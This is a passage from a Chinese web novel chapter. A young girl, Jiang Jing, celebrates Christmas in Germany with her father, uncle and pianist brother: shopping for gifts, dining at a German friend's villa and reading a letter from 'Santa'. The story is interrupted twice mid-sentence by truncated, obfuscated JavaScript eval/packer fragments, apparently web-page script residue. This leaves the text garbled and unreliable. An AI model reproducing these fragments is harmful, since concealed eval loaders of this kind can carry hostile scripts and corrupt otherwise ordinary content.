蒋婧咧嘴一笑,吃着小薯条,坐在高脚凳上晃着腿问道:“大伯,你生来就会说这个外国语吗?” “不是。” “那你是几岁会的?” 蒋源替她解答道:“你大伯呢,以前在德国念大学,要学会德语才能过来上学,所以就会了。” “什么是大学?” 蒋斐轩:“就是高等教育,人的学习进程一般都是幼儿园4年,小学6年,中学6年,到大学4年,你现在才到小学第3年呢。” 跟着哥哥的话扳手指数了数,蒋婧一听还有那么多年,震惊又崩溃地说道:“老天鹅啊,我还要上那么多的学吗?” 蒋铮哈哈一笑,转瞬脸上划过一丝对青春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这有什么遗憾的?”蒋铮笑道,逗弄似的去刮刮蒋婧的小鼻头,说道:“人生每个阶段都有它独特的味道,年轻时求学是很潇洒自在,不过现在当着个小老板,天天给我们家小婧挣点糖果钱,我也感到很幸福,你说是不是?小婧婧?” 蒋婧嘻嘻地笑,说道:“那我以后也当一个小老板,给你挣买热红酒的钱,好不好?” 蒋铮心头热得发涨,眼里在笑,却隐隐有不易察见的水意。 “好啊,到时候我就要叫你小婧老板,是不是?”他抬起杯子说道。 蒋婧拿起自己杯子,和大伯的杯子碰了一碰,又夹起眉头,一本正经地说道:“不过当老板在动画片里都是坏人,大伯,蟹堡王的蟹老板和海之霸餐厅的痞老板,就总是过的很惨,我还是想当一个会抓水母的海绵宝宝。但是你放心,当海绵宝宝也可以给你和我爸爸挣钱买热红酒的,大伯。” * 休息结束后,蒋婧拉着爸爸先一步兴冲冲地跑向酒馆外的集市摊位,挑选圣诞礼物。 蒋斐轩默默跟在父亲身侧,陪他走向收银台。就在即将踏出小酒馆的瞬间,他终于将盘桓心头许久的问题问出了口。 “爸,我以后也需要放弃自己的梦想,回来继承家业吗?” 蒋铮停下脚步,沉静地凝视着儿子的眼睛。他的声音很轻,却比任何时候都不容置疑。 “不用,斐轩。” “你知道我为什么对你这么严格吗?” 蒋斐轩垂下眼帘:“因为你觉得我是扶不上墙的阿斗,必须要更努力,才能摆脱平庸。” 蒋铮眼中闪过一丝错愕,说道:“我没想到你会这样想。但我的初衷并非如此。” “斐轩,你哥替你担下了这条辛苦的路,你如果不做出点样子,会让我的内心对你哥有更多亏欠。” “更何况——”蒋铮的声音温和了几分,“你自己也不满足于此,不是吗?你刚开始学琴时,我确实对你很严苛,但从现在你的成长来看,爸爸觉得是有益的。” 蒋斐轩定定地看着他,很久之后,心绪复杂地点了一下头。 “你应该走到更高更远的地方去,斐轩。我在等着看,哥哥也是。” 蒋斐轩感到喉头一阵发紧。他慌忙别开脸,悄悄攥紧掌心。 他会的。他会坚守自己的选择,以此心此志供奉音乐的殿堂,决不懈怠地努力,成为世界屈指可数的钢琴家。 63.第63章 品尝了集市上的小吃,他们继续沿着街道闲逛,购买心仪的圣诞礼物。 蒋婧让爸爸给自己记要买多少个礼物,罗列道:“我们班有30个人,但是只买27个小小的礼物,要买3个大大的礼物,因为我想给原娴、阿澈哥哥和阿熠哥哥送和其他人不一样的礼物!” “还有我的6个老师们!还有舞蹈老师和我的四小天鹅搭档!然后还有妈妈、哥哥和向恒哥哥,还有爷爷奶奶外公外婆……” 蒋源听得发笑,说道:“这么多人啊,那爸爸觉得我们首先得先为你这个‘小圣诞老人’买一个装礼物的大麻袋。” 她举起手指补充:“要绿色的麻袋!还要一个带毛绒小球的红色圣诞帽,不然他们认不出我的身份。” 蒋源逗她:“好,再买一个小雪橇。” “还要在小雪橇上拴一个小铃铛!” 湖边的街道聚集了众多的高端品牌店,为了营造节日氛围,商场和购物街都做足了适合拍照和游览的精美装饰。 蒋源时不时把闺女喊停,让她站在某个布置梦幻的街景处拍照。 “很好,很漂亮,再换个姿势乖乖。” 巨大的圣诞树璀璨地闪烁着,蒋婧听话地站树前比着动作,憨态可掬中又带着浑然天成的娇贵气质。在明亮的柔光下,她肌肤莹白,双颊却透着桃花似的粉嫩,眼睛如浸在清泉里的琉璃珠子,映出孩童特有的纯真和澄澈。整个人宛如精心雕琢的洋娃娃。 蒋铮笑着拿出手机加入,也跟着拍了几张。 接着蒋斐轩也加入,拿着手机拍了几张。 路过的游人们见了,被萌化一般捂着胸口惊呼,也停下来拿出手机拍了几张。 蒋婧僵硬地敛起笑容,脸一下红了,害羞地跑回爸爸身边,扯扯他的袖子:“不拍了。” “怎么了?特别漂亮的,婧儿,你看看,像个小公主一样。爸爸给妈妈发过去,让妈妈看看。妈妈可想你了,一直在问爸爸你怎么样了。” “哦哟,你妈妈还夸我今天给你衣服搭配得好!看来我学习时尚杂志还是有效果。”蒋源一脸欣喜地又说道。 蒋婧仰着头,模样为难地说道:“可是爸爸,今天的衣服是斐轩哥哥给我选的。” “哦?是吗?我还以为是我选的呢。” 蒋婧看爸爸还在为妈妈的一句夸奖瞎乐呵,学着妈妈平时的语气说到:“爸爸,你可长点心吧。要是这次的礼物你还是让妈妈不喜欢,你到时候又得来找我哭。” 蒋源笑着一把抱她起来,走进了珠宝店,说道:“这不是有你这个小军师在吗?” * 给妻子订购好新年礼物,蒋源又抱着她,随蒋铮一同走进了隔壁高端腕表的VIP室。 销售顾问端出几款珍稀腕表,蒋铮对蒋斐轩抬了抬下巴:“挑一块试试。” 蒋斐轩略有惊讶:“给我买?” “新年礼物。我就不和你讲究什么仪式感了,你自己选一块。给哥哥也选一款,让他们给寄过去。” 蒋婧进来就直奔茶几上的小蛋糕,捻了一块马卡龙,看着蒋铮爽利签名刷卡的样子,歪歪头。 忽然想起什么,她从自己的小挎包里也掏出一张卡。 学着大伯方才的语气,她将腕表展示盘轻轻往前推了推,说道:“爸爸,挑一个试试,刷我的卡。” “大伯,不讲究仪式感了,你自己选一块。我也有卡。” 蒋源和蒋铮闻言都朗声敞快地笑起来。 “以前都是自己做小手工送给大伯,这还是小婧还是第一次给大伯买礼物。”蒋铮弯下腰,眼含笑意:“大伯岂不是必须得给你这个面子?” 蒋源也应和,语气里带着几分动容:“我也是,还是第一次被闺女带着来买东西。” 原来给人买礼物,人们就会变得很开心。 蒋婧若有所思地看着他们想到,然后小声问道:“但是这个贵不贵呀?我不知道我的钱够不够,我还没有用过这个卡呢。” 蒋源温柔地揉揉她的头发:“放心,肯定够。不够的话,爸爸给你转。” * 把大包小包的礼物托人送回了酒店,蒋铮带着他们前往自己德国好友的家中赴宴。 蒋氏集团能在新世纪以来扩张海外市场,很大程度得益于蒋铮的手段。在高端精密工业制造方面,他借助与这位大学同窗的人脉关系,在德国拿下了不少垄断性的技术许可与战略合作协议。 这位海辛贝格先生乃是贵族后裔,家族产业已传续四代。他本想在大学攻读哲学,但作为长子,在父亲猝然离世后被迫放弃梦想,回归家族。这也是他与蒋铮能够跨越国别种族,产生惺惺相惜的真挚友谊的重要原因。 海辛贝格先生的家坐落在一片被高大椴树和铁艺围墙环绕的私人领地内,是一座石灰岩立面的古典主义式别墅。 蒋婧一手牵着爸爸,一手牵着斐轩哥哥,跟随在大伯后面走进这座别墅的大门,用现学的德语打招呼。 海辛贝格先生和他夫人,还有他的四个孩子,十分热情地欢迎了他们。看得出来能再次见到好友,海辛贝格先生的感受是无与伦比的激动。 有爸爸和大伯在,蒋婧虽然怕生,但仍然具有安全感。她露出的好奇的神态,带着一种尊重和妥帖的得体,默默地观察着他们本土人士如何度过圣诞节,被他们的温馨家庭氛围所感染。 一个绿眼睛的、和她年龄相当的小帅哥始终在瞅她,说了几句她听不懂的话,然后示范地将捏成可爱小人形状的圣诞果脯面包拿起来,一口咬掉了小人面包的头。 蒋婧捂嘴瞪大了眼睛,随即很受冲击地用英文说道:“你怎么可以把它的脑袋吃掉?” “它总要被吃掉的。”他耸耸肩,见她和自己搭话,挤出一个灿烂的笑容,也跟着用英文说道:“我们可以用英文说话。我感到很好奇,你们东方小女孩都像你一样吗?我的意思是,你美丽得像是一个天使。我从没有见过你这样的东方天使。” 蒋斐轩喝水的动作微滞,用餐巾捂住嘴优雅地轻咳了一声,说道:“抱歉,但东方没有天使。” 蒋婧不舍得吃小人面包,让它继续微笑地躺在盘子里。 被带偏后,她也跟着天马行空地说道:“我哥哥说的对,我们没有天使,但是我们有天兵天将和雷公电母,还有孙悟空和猪八戒,还有哪吒和小龙女!” 一顿饭结束,蒋婧就和海辛贝格先生的小公子结成了好友,她觉得他和自己的国内朋友们都不一样。 他太彬彬有礼了,在她说话时全程盯着她的眼睛,专注地听她讲述西游记的故事,表现得很有兴趣。 甚至结束的时候,他还向海辛贝格先生请求道:“父亲,您能为我买一本中国神话故事相关的书吗?我想进一步了解这位小姐喜欢的东西具体是什么,好能与她构建更深的友谊。” 蒋婧第一次遇到这样的男孩子,新奇地撑着脸看他。 “你最好不要这样看着我,我会感到心跳过速,难以呼吸。” 蒋斐轩实在听不下去,只觉得这人言语唐突、没有修养,拉起妹妹就往大厅走:“好了,我们去为他们演奏一曲。” 客厅里摆放了一架博兰斯勒三角钢琴,征得同意后,蒋斐轩演奏了一曲舒曼的《童年回忆》。 然后他又翻开曲谱,视奏了几首曲子,由蒋婧为大家演唱一些耳熟能详的圣诞颂歌。 大人们围坐在钢琴边,孩子们就随地坐在地毯上,大家跟着钢琴声一展歌喉,将圣诞氛围推向了情意绵绵的高潮。 蒋婧眼睛亮晶晶的,双手握拳放在胸前,微微摇晃着,用清甜的嗓音唱着歌,望着每一个人脸上洋溢着的幸福的笑容,感到一种温暖、爱与希望之类的能量,在心里凝聚起来,久久不易散去。 临别的时候,她收获了很多的礼物,与海辛贝格先生握手致谢。 “欢迎你再来,可爱的小女士,祝你开启一个蒙福且充满光明的新年。” 蒋婧听大伯在耳边给她翻译出来,眸光闪烁,心里很感动,笨拙而诚挚地将准备好的德语新年祝福说了出来,与他们眼神接触,相互庆贺。 那个德国小帅哥很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你好,我是圣诞老人。今年你来到了德国过圣诞,可让我好跑一阵。毕竟我使用中文,主要负责中国那一片区的小朋友的圣诞派送。爬这个酒店的高窗户差点让我掉下去摔个大屁股包,我看你睡得香喷喷的,还好把惨叫声都憋住了。 再过几天,你就要7岁了。7岁的小朋友喜欢什么,我有些苦恼。打开你的贺卡,发现你没有给我礼物清单,我就更苦恼了。不过我根据自己这一年的观察,给你送了一套芭蕾舞裙,一个智能手机,一个小背包,希望你能喜欢。 你的来信让我很感动,我一想到存在一个你这样善良的小女孩,就觉得世界会因此而变得更美好。祝你新的一年健康快乐地长大,所有的小愿望都能实现。 现在我要继续去往别的小朋友家了,祝你好眠,我们明年再见。 忙碌的圣诞老人] 蒋婧一边读一边掉小珍珠。 蒋源和蒋铮,加上一个蒋斐轩围在她面前,一个接一个地安慰。 蒋源笑着问道:“怎么收到了礼物还会哭呢?” 她把贺卡贴近胸口,破涕而笑,说道:“我也不知道,爸爸,我觉得很幸福,从昨天到今天,都一直一直很幸福,幸福得想哭。” 蒋铮但笑不语,只是揉了揉她的发心。 那一天,不常发朋友圈的蒋铮难得更新了一条动态: 文案:记录和小侄女过的难忘圣诞 【p1:蒋婧单人照】 【p2:蒋婧单人照】 【p3:蒋婧单人照】 【p4:蒋婧单人照】 【p5: 蒋婧单人照】 【p6:蒋婧和蒋斐轩合照】 【p7:蒋婧和蒋源合照】 【p8:蒋婧和蒋铮自拍】 【p9:一张贺卡照片和三个小礼物】 远在国内的程与英一脸母爱地看完,点开了最后一张,放大,是蒋婧手写的圣诞卡片。 [亲爱的圣诞老人: 今年我没有什么想要的礼物,但我有一个心愿,希望你能一直让人们像在圣诞节这一天这样,开心,幸福,没有烦恼。全世界的人都能够永远温暖地生活在地球上。 我想要什么,我的家人们都会给我买,但是如果你想要什么礼物,会有人给你买吗?因为所有的小朋友都在找你要礼物,你也会很辛苦的,是不是?所以我给你买了一个围巾,一个手套,和一个很好看的玻璃雪花球。你不要生病,送完礼物就要快快回家休息。我明年还会给你写信。 蒋婧]